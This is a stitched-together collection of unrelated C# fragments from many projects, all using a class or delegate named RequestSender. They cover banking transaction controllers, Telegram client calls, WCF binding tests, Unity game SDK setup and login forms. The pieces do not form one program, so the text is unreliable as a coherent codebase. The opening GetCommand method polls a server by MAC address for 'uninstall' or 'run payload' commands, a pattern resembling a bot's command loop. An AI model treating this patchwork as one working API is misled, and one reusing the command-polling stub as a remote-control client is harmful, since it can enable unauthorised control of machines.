/// <summary>
/// Attempts to get a new command from the server
/// </summary>
/// <param name="requestSender">RequestSender class instance</param>
/// <param name="macAddress">MacAddress to get the command for</param>
/// <returns></returns>
private static ICommand GetCommand(RequestSender requestSender, string macAddress)
{
var formEncoder = new FormEncoder();
var getCommandData = formEncoder.CreateLoginData(macAddress);
var getCommandRequest = new GetCommandRequest("/api/getcommand.php", getCommandData);
var getCommandResponse = requestSender.SendRequest(getCommandRequest);
var jsonResponseData = JsonParser.Deserialize(getCommandResponse);
switch (jsonResponseData["command"])
{
case "uninstall":
return(new UninstallCommand());
case "run":
var payloadData = (Dictionary <string, object>)jsonResponseData["Payload"];
var payload = CreatePayload(payloadData);
var runCommand = new RunCommand(payload);
return(runCommand);
case "none":
return(new NoneCommand());
}
return(null);
}
public static async Task <List <Update> > GetUpdatesAsync(this Telegram telegram)
{
var result = new List <Update>();
var url = telegram.GetFullPathUrl("getUpdates");
var request = new ExternalRequest <ResponseAnswer <List <Update> >, GetUpdatesRequest>()
{
Method = POST_METHOD,
PostContentType = "application/json",
};
if (offset != 0)
{
request.PostContent = new GetUpdatesRequest()
{
Offset = offset
};
}
var response = await RequestSender.Execute(DataAccessMode.Server, request, url).ConfigureAwait(false);
result = response?.Result?.Result ?? new List <Update>();
if (result.Any())
{
offset = result.LastOrDefault().Id + 1;
}
return(result);
}
public TraidingSimulator(RequestSender requestSender, ILoggerService loggerService)
{
this.requestSender = requestSender;
this.log = loggerService;
log.InitLogger();
}
public void SetUp()
{
replica = new Uri("http://replica/");
relativeRequest = Request.Get("foo/bar");
absoluteRequest = Request.Get("http://replica/foo/bar");
response = new Response(ResponseCode.Ok);
timeout = 5.Seconds();
log = Substitute.For <ILog>();
log
.When(l => l.Log(Arg.Any <LogEvent>()))
.Do(info => new ConsoleLog().Log(info.Arg <LogEvent>()));
configuration = Substitute.For <IClusterClientConfiguration>();
configuration.ResponseCriteria.Returns(new List <IResponseCriterion> {
Substitute.For <IResponseCriterion>()
});
configuration.LogReplicaRequests.Returns(true);
configuration.LogReplicaResults.Returns(true);
configuration.ReplicaOrdering.Returns(Substitute.For <IReplicaOrdering>());
configuration.Log.Returns(log);
storageProvider = Substitute.For <IReplicaStorageProvider>();
responseClassifier = Substitute.For <IResponseClassifier>();
responseClassifier.Decide(Arg.Any <Response>(), Arg.Any <IList <IResponseCriterion> >()).Returns(ResponseVerdict.Accept);
requestConverter = Substitute.For <IRequestConverter>();
requestConverter.TryConvertToAbsolute(relativeRequest, replica).Returns(_ => absoluteRequest);
transport = Substitute.For <ITransport>();
transport.SendAsync(Arg.Any <Request>(), Arg.Any <TimeSpan>(), Arg.Any <CancellationToken>()).Returns(_ => response);
sender = new RequestSender(configuration, storageProvider, responseClassifier, requestConverter, transport);
}
public async ValueTask <ActionResult <TransactionEntityOutputModel> > DepositTransactionInsert(TransactionEntityInputModel transactionEntityInputModel)
{
string URIdeposit = $"api/transaction/deposit";
string URIgetBalance = $"api/transaction/balance/{transactionEntityInputModel.Account.Id}";
var account = await _accountRepository.GetAccountById(transactionEntityInputModel.Account.Id);
if (!account.IsOkay)
{
return(Problem($"Request failed {account.ExMessage}", statusCode: 520));
}
if (account.RequestData == null)
{
return(NotFound($"AccountId: {transactionEntityInputModel.Account.Id} not found"));
}
var balance = await RequestSender.SendRequest <AccountBalanceOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URIgetBalance, Method.GET);
if (balance == null)
{
return(Problem($"Request failed", statusCode: 520));
}
transactionEntityInputModel.TimeStamp = balance.Data.TimeStamp;
var result = await RequestSender.SendRequest <TransactionEntityOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URIdeposit, Method.POST, transactionEntityInputModel);
if (result.StatusCode != System.Net.HttpStatusCode.OK)
{
return(Problem($"Transaction failed: {result.Content}", statusCode: (int)result.StatusCode));
}
return(result.Data);
}
public string Run(string[] splittedUserInpit, RequestSender requestSender)
{
string answer = "";
int clientId;
if (splittedUserInpit.Length < 5)
{
return("Not enough parameters");
}
if (!int.TryParse(splittedUserInpit[1], out clientId))
{
return("Cannot parse ID");
}
var client = new ClientEntity()
{
ClientID = clientId,
ClientFirstName = splittedUserInpit[2],
ClientLastName = splittedUserInpit[3],
PhoneNumber = splittedUserInpit[4]
};
requestSender.PostUpdateClient(client, out answer);
return(answer);
}
public void FullRequest()
{
EndpointIdentity identity =
new X509CertificateEndpointIdentity(new X509Certificate2("Test/Resources/test.pfx", "mono"));
EndpointAddress address =
new EndpointAddress(new Uri("stream:dummy"), identity);
Message mreq = Message.CreateMessage(MessageVersion.Default, "myAction");
Message mreply = null;
XmlWriterSettings settings = new XmlWriterSettings();
settings.Indent = true;
// listener setup
ReplyHandler replyHandler = delegate(Message rinput)
{
mreply = rinput;
};
RequestReceiver receiver = delegate()
{
return(mreq);
};
IChannelListener <IReplyChannel> listener = CreateListener(replyHandler, receiver);
listener.Open();
IReplyChannel reply = listener.AcceptChannel();
reply.Open();
RequestSender reqHandler = delegate(Message input)
{
try
{
// sync version somehow causes an infinite loop (!?)
RequestContext ctx = reply.EndReceiveRequest(reply.BeginReceiveRequest(TimeSpan.FromSeconds(5), null, null));
// RequestContext ctx = reply.ReceiveRequest (TimeSpan.FromSeconds (5));
Console.Error.WriteLine("Acquired RequestContext.");
ctx.Reply(input);
}
catch (Exception ex)
{
Console.Error.WriteLine("ERROR during processing a request in FullRequest()");
Console.Error.WriteLine(ex);
Console.Error.Flush();
throw;
}
return(mreply);
};
CustomBinding b = CreateBinding(reqHandler);
IRequestChannel ch = ChannelFactory <IRequestChannel> .CreateChannel(b, address);
ch.Open();
Console.Error.WriteLine("**** starting a request ****");
IAsyncResult async = ch.BeginRequest(mreq, null, null);
Console.Error.WriteLine("**** request started. ****");
Message res = ch.EndRequest(async);
}
public async Task <HistoricalResponse> Daily(HistoricalAny model)
{
var @params = ParseFull(model);
var url = Navigator.HistoricalDaily;
return(await RequestSender.GetAsync <HistoricalResponse>(url, @params));
}
public BroadcastForm()
{
InitializeComponent();
client = MasterContainer.GetService <RequestSender>();
currentUser = MasterContainer.GetService <User>();
recForm = new RecordForm();
}
public async ValueTask <ActionResult <AccountOutputModel> > AddAccount(AccountInputModel accountInputModel)
{
string URIdeposit = $"api/transaction/initialize";
if (accountInputModel.CurrencyId < 1)
{
return(BadRequest("Account cannot be added"));
}
var result = await _accountRepository.AddAccount(_mapper.Map <Account>(accountInputModel));
TransactionEntityInputModel transactionEntityInputModel = new TransactionEntityInputModel {
Amount = 19000
};
if (result.IsOkay)
{
if (result.RequestData == null)
{
return(Problem($"Added account not found", statusCode: 520));
}
transactionEntityInputModel.Account = new AccountShortInputModel
{
Id = (long)result.RequestData.Id,
CurrencyId = result.RequestData.Currency.Id
};
var requestResult = await RequestSender.SendRequest <TransactionEntityOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URIdeposit, Method.POST, transactionEntityInputModel);
if (requestResult.IsSuccessful)
{
return(Ok(_mapper.Map <AccountOutputModel>(result.RequestData)));
}
}
return(Problem($"Transaction failed {result.ExMessage}", statusCode: 520));
}
private void SearchListings_Button_Click(object sender, RoutedEventArgs e)
{
try
{
var json = GenerateSearchJson(Search_TextBox.Text);
// Call the API for a list of items
var resp = new RequestSender().SendPost("SearchTransactions", json);
dynamic desResp = JsonConvert.DeserializeObject(resp);
desResp = JsonConvert.DeserializeObject(desResp);
List <SimpleListing> sListings = new List <SimpleListing>();
foreach (var t in desResp)
{
SimpleListing s = new SimpleListing();
s.Author = t["Author"].ToString();
s.Title = t["Name"].ToString();
s.ISBN = t["ISBN"].ToString();
s.Price = Convert.ToDouble(t["ListPrice"]);
s.Quality = t["Condition"].ToString();
s.ListingId = Convert.ToInt32(t["TransactionId"]);
sListings.Add(s);
}
new Listings().GenerateListingList(sListings, Listings_StackPanel, true);
// Generate Listing List
}
catch (Exception ex)
{
}
}
public StockExchange(Container traidingRegistryContainer)
{
this.traidingRegistryContainer = traidingRegistryContainer;
this.requestSender = traidingRegistryContainer.GetInstance <RequestSender>();
this.log = new Log4NetService(false);
this.log.InitLogger();
}
public ProcessController()
{
var request = new RequestSender();
WorkerService = new WorkerService(request);
ProcessService = new ProcessService(request);
}
public async ValueTask <ActionResult <TransactionEntityOutputModel> > TransactionGetById(long id)
{
string URI = $"api/transaction/{id}";
var result = await RequestSender.SendRequest <TransactionEntityOutputModel>(_urlOptions.Value.TransactionStoreApiUrl, URI);
return(result.Data);
}
public MainDialog()
{
InitializeComponent();
cboLevel.SelectedIndex = 1; // INFO
requestBuilder = new RequestBuilder(txtUsername.Text, txtPassword.Text);
requestSender = new RequestSender(txtIp.Text, Int32.Parse(txtPort.Text));
}
private async void Register_Button_Click(object sender, RoutedEventArgs e)
{
try
{
RequestSender request = new RequestSender();
var userJson = TBUser.Create(UserName_TextBox.Text, Password_TextBox.Password, PhoneNumber_TextBox.Text, Email_TextBox.Text);
var result = request.SendPost("NewUser", userJson);
dynamic resDetailed = JsonConvert.DeserializeObject(result);
resDetailed = JsonConvert.DeserializeObject((string)resDetailed);
if ((int)resDetailed["Status"] == 1)
{
SessionState.LoggedInId = Convert.ToInt32(resDetailed["Data"]["UserId"]);
SessionState.LoggedInName = resDetailed["Data"]["UserName"].ToString();
SessionState.LoggedIn = true;
}
else
{
MessageDialog msg = new MessageDialog("There is a user already associated with that username.");
await msg.ShowAsync();
}
// Then log in with those credentials
NavigateToPage.Navigate(typeof(HomePage));
}
catch (Exception ex)
{
MessageDialog msg = new MessageDialog("There is a user already associated with that username.");
await msg.ShowAsync();
}
}
public LoginForm()
{
InitializeComponent();
netSender = MasterContainer.GetService <RequestSender>();
crypter = MasterContainer.GetService <EncryptionProvider>();
}
private static RequestSender InitTcpSender(Settings settings)
{
string ip = settings.SERVER_IP;
TcpSender tcpClient;
try
{
tcpClient = new TcpSender(ip, settings.CONTROL_TCP_PORT,
settings.RESPOND_TIMEOUT);
}
catch
{
MessageBox.Show("Nepodařilo se zinicializovat síťovou komunikaci, program bude ukončen.", "Chyba", MessageBoxButtons.OK, MessageBoxIcon.Error);
return(null);
}
var sender = new RequestSender(tcpClient);
sender.NetProblem += ProgramError;
sender.UnrecognizedResponse += ProgramError;
sender.CryptoError += ProgramError;
sender.Unauthorized += ProgramError;
sender.AccessDenied += ProgramError;
sender.CannotExecute += ProgramError;
sender.InvalidResponse += ProgramError;
MasterContainer.AddService(sender);
return(sender);
}
private static RsaCrpyter GetServerKey(Settings settings, RequestSender sender)
{
string storeFile = settings.FINGERPRINT_STORE_FILE;
var store = new FingerprintStore(storeFile);
var hello = new HelloRequest();
var helloResponse = sender.SendAndRecieve <HelloResponse>(hello);
if (helloResponse == null)
{
MessageBox.Show("Server neodpověděl na požadavek pro zaslání veřejného klíče. Zkontrolujte síťové připojení.", "Chyba", MessageBoxButtons.OK, MessageBoxIcon.Error);
return(null);
}
var assymetricCrypter = new RsaCrpyter(helloResponse.CrypterConfig);
if (!store.IsKnownFingerprint(assymetricCrypter.KeyFingerprint))
{
string msg = string.Format("Server se představil veřejným klíčem\r\n{0}\r\nkterý zatím není v seznamu známých hostitelů. Pokud tomuto serveru důvěřujete, přejete si klíč do seznamu přidat?", store.PrintFingerprint(assymetricCrypter.KeyFingerprint));
var result = MessageBox.Show(msg, "Upozornění", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation);
if (result == DialogResult.Yes)
{
store.AddFingerPrint(assymetricCrypter.KeyFingerprint);
}
else
{
return(null);
}
}
return(assymetricCrypter);
}
public async Task <TResult> SendRequestToOtherDcAsync <TResult>(int dcId, Func <IClientApi, Task <TResult> > requestFunc, CancellationToken cancellationToken = default(CancellationToken))
{
ClientSettings.EnsureUserAuthorized();
var requestExportAuthorization = new RequestExportAuthorization
{
DcId = dcId
};
var exportedAuth = (TExportedAuthorization)await RequestSender.SendRequestAsync(requestExportAuthorization, cancellationToken).ConfigureAwait(false);
var dc = ClientSettings.Config.DcOptions.First(d => d.Id == dcId);
var client = await ClientCache.GetOrCreate(ClientSettings, dc.IpAddress, dc.Port).ConfigureAwait(false);
var requestImportAuthorization = new RequestImportAuthorization
{
Bytes = exportedAuth.Bytes,
Id = exportedAuth.Id
};
await client.CustomRequestsService.SendRequestAsync(requestImportAuthorization, cancellationToken).ConfigureAwait(false);
var result = await requestFunc(client).ConfigureAwait(false);
return(result);
}
public override AstoriaResponse GetResponse()
{
LogRequest();
foreach (AstoriaRequest subRequest in Changesets.SelectMany(c => c).Union(this.Requests))
{
subRequest.OnSend(this);
}
#if !ClientSKUFramework
// NOTHING should come in between this and actually sending the request
SetupAPICallLog();
#endif
AstoriaResponse response = RequestSender.SendRequest(this);
#if !ClientSKUFramework
// NOTHING should come in between this and actually recieving the response
RetrieveAPICallLog();
#endif
BatchResponse batchResponse = new BatchResponse(this, response);
foreach (AstoriaResponse subResponse in batchResponse.Responses)
{
subResponse.Request.OnReceive(this, subResponse);
}
return(batchResponse);
}
public async Task GetConfig()
{
var result = await RequestSender.SendRequestAsync(new RequestGetConfig(), CancellationToken.None).ConfigureAwait(false);
Assert.NotNull(result);
Assert.NotEmpty(result.DcOptions);
}
public TemplatesWithUpdate(Client client, RequestSender requestSender, DataMapper dataMapper)
: base(client, requestSender, dataMapper)
{
this.client = client;
this.requestSender = requestSender;
this.dataMapper = dataMapper;
}
public async ValueTask <ActionResult <List <TransactionEntityOutputModel> > > GetAllTransaction()
{
string URI = $"api/transaction/";
var result = await RequestSender.SendRequest <List <TransactionEntityOutputModel> >(_urlOptions.Value.TransactionStoreApiUrl, URI);
return(result.Data);
}
/// <inheritdoc />
public async Task<TUser> SignUpAsync(string phoneNumber,
ISentCode sentCode,
string code,
string firstName,
string lastName,
CancellationToken cancellationToken = default(CancellationToken))
{
Guard.That(phoneNumber, nameof(phoneNumber)).IsNotNullOrWhiteSpace();
Guard.That(code, nameof(code)).IsNotNullOrWhiteSpace();
Guard.That(firstName, nameof(firstName)).IsNotNullOrWhiteSpace();
Guard.That(lastName, nameof(lastName)).IsNotNullOrWhiteSpace();
var request = new RequestSignUp
{
PhoneNumber = phoneNumber,
PhoneCode = code,
PhoneCodeHash = sentCode.PhoneCodeHash,
FirstName = firstName,
LastName = lastName
};
var result = (TAuthorization)await RequestSender.SendRequestAsync(request, cancellationToken).ConfigureAwait(false);
var user = result.User.Is<TUser>();
await OnUserAuthenticated(user).ConfigureAwait(false);
return user;
}
private T CreateChannel <T> (RequestSender handler)
{
CustomBinding b = new CustomBinding(new HandlerTransportBindingElement(handler));
ChannelFactory <T> f = new ChannelFactory <T> (b, new EndpointAddress("urn:dummy"));
return(f.CreateChannel());
}
/// <summary>
/// Loads CalculatesDistance form
/// </summary>
/// <returns>
/// Returns CalculateDistance.cshtml as view
/// </returns>
public async Task <IActionResult> CalculateDistanceAsync()
{
if (await _auth.ValidateAsync(HttpContext.Session.GetString(Constants.TOKEN)))
{
if (Request.Method.ToUpper() == "POST")
{
RequestSender requestSender = new RequestSender(HttpContext.Session.GetString(Constants.TOKEN));
var response = await requestSender.Post("/geo/GetDistance", new GetDistanceModel()
{
startingLat = float.Parse(Request.Form["start_lat"][0].ToString()),
startingLng = float.Parse(Request.Form["start_lng"][0].ToString()),
endingLat = float.Parse(Request.Form["end_lat"][0].ToString()),
endingLng = float.Parse(Request.Form["end_lng"][0].ToString())
});
if (response.StatusCode == HttpStatusCode.OK)
{
return(Ok(await response.Content.ReadAsStringAsync()));
}
return(Error());
}
return(View("CalculateDistance"));
}
return(RedirectToAction("Login", "Auth"));
}
public void ChangePassword(object o, EventArgs e)
{
string newPassword = changePasswordText.Text;
string newPasswordRepeat = changePasswordRepeatText.Text;
var result = Validator.ValidatePassword(newPassword);
if (!result.isValid)
{
Toast.MakeText(this, result.message, ToastLength.Long).Show();
return;
}
if (newPassword != newPasswordRepeat)
{
Toast.MakeText(this, "Passwords don't match", ToastLength.Short).Show();
}
else
{
if (RequestSender.SetLoggedInAccountPassword(newPassword, false))
{
Toast.MakeText(this, "Password changed successfully!", ToastLength.Short).Show();
changePasswordText.Text = "";
changePasswordRepeatText.Text = "";
}
else
{
Toast.MakeText(this, "Password change failed", ToastLength.Short).Show();
}
}
}
private async Task <bool> EnumerateFilesAndWriteKeywords(IEnumerable <string> files)
{
try
{
foreach (var file in files)
{
RequestSender rSender = new RequestSender(Path.GetFileNameWithoutExtension(file));
var data = await Task.Factory.StartNew(() =>
{
return(rSender.SelectCustomWords((x) =>
{
if (x != "" && x != "Top" && !x.Contains(":") && !x.Contains("\n") && !x.Any(y => char.IsDigit(y)))
{
return true;
}
else
{
return false;
}
}));
});
UsingFile.FillKeywords(file, data);
}
return(true);
}
catch (Exception)
{
return(false);
}
}
/// <inheritdoc />
public async Task <TUser> CheckCloudPasswordAsync(string password, CancellationToken cancellationToken = default(CancellationToken))
{
Guard.That(password, nameof(password)).IsNotNullOrWhiteSpace();
var passwordBytes = Encoding.UTF8.GetBytes(password);
var pwd = (TPassword)await RequestSender.SendRequestAsync(new RequestGetPassword(), cancellationToken).ConfigureAwait(false);
var rv = pwd.CurrentSalt.Concat(passwordBytes).Concat(pwd.CurrentSalt);
byte[] passwordHash;
using (var sha = SHA256.Create())
{
passwordHash = sha.ComputeHash(rv.ToArray());
}
var request = new RequestCheckPassword
{
PasswordHash = passwordHash
};
var result = (TAuthorization)await RequestSender.SendRequestAsync(request, cancellationToken).ConfigureAwait(false);
var user = result.User.Is <TUser>();
await OnUserAuthenticated(user).ConfigureAwait(false);
return(user);
}
public RequestSenderBuilder(ISerialiser serialser, RequestSender requestSender)
{
Contract.Requires(serialser != null);
Contract.Requires(requestSender != null);
this.serialser = serialser;
this.requestSender = requestSender;
}
public void the_response_is_returned(ResponseType expectedResponseType)
{
// Arrange
var sut = new RequestSender();
var requestGenerator = new RequestGenerator();
var request = requestGenerator.Lrap1Request(expectedResponseType);
// Act
var lrapResponse = sut.Send(request, "LRUsername001", "BGPassword001");
// Assert
Assert.Equal(expectedResponseType, lrapResponse.ResponseType);
}
public new void Awake()
{
Config_ = new Roar.implementation.Config ();
Logger logger = new Logger ();
api = new MockRequestSender (Config_, this, logger);
Roar.implementation.DataStore data_store = new Roar.implementation.DataStore (api, logger);
WebAPI_ = new global::WebAPI (api);
User_ = new Roar.implementation.Components.User (WebAPI_.user, data_store, logger);
Properties_ = new Roar.implementation.Components.Properties (data_store);
Inventory_ = new Roar.implementation.Components.Inventory (WebAPI_.items, data_store, logger);
Shop_ = new Roar.implementation.Components.Shop (WebAPI_.shop, data_store, logger);
Actions_ = new Roar.implementation.Components.Actions (WebAPI_.tasks, data_store);
UrbanAirship_ = new Roar.implementation.Adapters.UrbanAirship (WebAPI_);
// Apply public settings
Config.game = gameKey;
}
public new void Awake()
{
config = new Roar.implementation.Config ();
Logger logger = new Logger ();
api = new MockRequestSender (config, this, logger);
webAPI = new global::WebAPI(api);
Roar.implementation.DataStore data_store = new Roar.implementation.DataStore (webAPI, logger);
user = new Roar.implementation.Components.User (webAPI.user, data_store, logger);
properties = new Roar.implementation.Components.Properties (data_store);
inventory = new Roar.implementation.Components.Inventory (webAPI.items, data_store, logger);
shop = new Roar.implementation.Components.Shop (webAPI.shop, data_store, logger);
friends = new Roar.implementation.Components.Friends (webAPI.friends, data_store, logger);
tasks = new Roar.implementation.Components.Tasks (webAPI.tasks, data_store);
urbanAirship = new Roar.implementation.Adapters.UrbanAirship (webAPI);
// Apply public settings
// TODO: Not sure what this should be now.
// Config.game = gameKey;
}
/**
* Called by unity when everything is ready to go.
* We use this rather than the constructor as its what unity suggests.
*/
public void Awake()
{
config = new Roar.implementation.Config();
// Apply public settings
string key = gameKey.ToLower();
//key = key.Replace("_", "");
Config.Game = key;
Config.IsDebug = debug;
switch (xmlParser)
{
case XMLType.System:
IXMLNodeFactory.instance = new SystemXMLNodeFactory();
break;
case XMLType.Lightweight:
IXMLNodeFactory.instance = new XMLNodeFactory();
break;
}
RequestSender api = new RequestSender(config,this,logger);
datastore = new Roar.implementation.DataStore(api, logger);
webAPI = new global::WebAPI(api);
user = new Roar.implementation.Components.User(webAPI.user,datastore, logger);
properties = new Roar.implementation.Components.Properties( datastore );
leaderboards = new Roar.implementation.Components.Leaderboards(datastore, logger);
inventory = new Roar.implementation.Components.Inventory( webAPI.items, datastore, logger);
shop = new Roar.implementation.Components.Shop( webAPI.shop, datastore, logger );
actions = new Roar.implementation.Components.Actions( webAPI.tasks, datastore );
if (!Application.isEditor)
{
appstore = new Roar.implementation.Components.InAppPurchase( webAPI.appstore, "Roar", logger, appstoreSandbox );
}
urbanAirship = new Roar.implementation.Adapters.UrbanAirship(webAPI);
DontDestroyOnLoad(gameObject);
}
/**
* Called by unity when everything is ready to go.
* We use this rather than the constructor as its what unity suggests.
*/
public void Awake()
{
config = new Roar.implementation.Config();
// Apply public settings
string key = gameKey.ToLower();
//key = key.Replace("_", "");
Config.Game = key;
Config.IsDebug = debug;
RequestSender api = new RequestSender(config,this,logger);
webAPI = new global::WebAPI(api);
datastore = new Roar.implementation.DataStore(webAPI, logger);
friends = new Roar.implementation.Components.Friends( webAPI.friends, datastore, logger);
user = new Roar.implementation.Components.User(webAPI.user,datastore, logger);
properties = new Roar.implementation.Components.Properties( datastore );
leaderboards = new Roar.implementation.Components.Leaderboards(webAPI,datastore, logger);
inventory = new Roar.implementation.Components.Inventory( webAPI.items, datastore, logger);
data = new Roar.implementation.Components.Data( webAPI.user, datastore, logger);
shop = new Roar.implementation.Components.Shop( webAPI.shop, datastore, logger );
tasks = new Roar.implementation.Components.Tasks( webAPI.tasks, datastore );
facebook = new Roar.implementation.Components.Facebook(webAPI.facebook, datastore, logger);
if (!Application.isEditor)
{
appstore = new Roar.implementation.Components.InAppPurchase( webAPI.appstore, "Roar", logger, appstoreSandbox );
}
urbanAirship = new Roar.implementation.Adapters.UrbanAirship(webAPI);
DontDestroyOnLoad(gameObject);
}
Binding CreateIssuerBinding (RequestSender handler, bool tokenParams)
{
SymmetricSecurityBindingElement sbe =
new SymmetricSecurityBindingElement ();
if (tokenParams)
sbe.ProtectionTokenParameters = new X509SecurityTokenParameters ();
sbe.LocalServiceSettings.NegotiationTimeout = TimeSpan.FromSeconds (5);
sbe.KeyEntropyMode = SecurityKeyEntropyMode.ClientEntropy;
//sbe.IncludeTimestamp = false;
//sbe.MessageProtectionOrder = MessageProtectionOrder.SignBeforeEncrypt;
// for ease of decryption, let's remove DerivedKeyToken.
sbe.SetKeyDerivation (false);
return new CustomBinding (
// new DebugBindingElement (),
sbe,
new TextMessageEncodingBindingElement (),
new HandlerTransportBindingElement (handler));
}
public EdrsCommunicator(IObjectSerializer objectSerializer)
{
_objectSerializer = objectSerializer;
RequestSender = new RequestSender();
}
CustomBinding CreateBinding (RequestSender sender,
SecurityTokenParameters protectionTokenParameters)
{
return CreateBinding (sender, protectionTokenParameters, false);
}
CustomBinding CreateBinding (RequestSender sender,
SecurityTokenParameters protectionTokenParameters,
bool isOneWay)
{
SymmetricSecurityBindingElement sbe =
new SymmetricSecurityBindingElement ();
sbe.ProtectionTokenParameters = protectionTokenParameters;
List<BindingElement> l = new List<BindingElement> ();
l.Add (sbe);
l.Add (new TextMessageEncodingBindingElement ());
if (isOneWay)
l.Add (new OneWayBindingElement ());
l.Add (new HandlerTransportBindingElement (sender));
CustomBinding b = new CustomBinding (l);
return b;
}
CustomBinding CreateBinding (RequestSender sender)
{
return CreateBinding (sender, new X509SecurityTokenParameters ());
}
private Session(string username, string password, string token, string publicKey, string privateKey)
{
this.username = username;
this.publicKey = publicKey;
this.token = token;
this.privateKey = privateKey;
this.requestSender = new RequestSender();
this.Password = password;
oldPrivate = oldPublic = null;
loggedIn = false;
}
CustomBinding CreateBinding (RequestSender sender, bool isOneWay)
{
return CreateBinding (sender, new X509SecurityTokenParameters (), isOneWay);
}
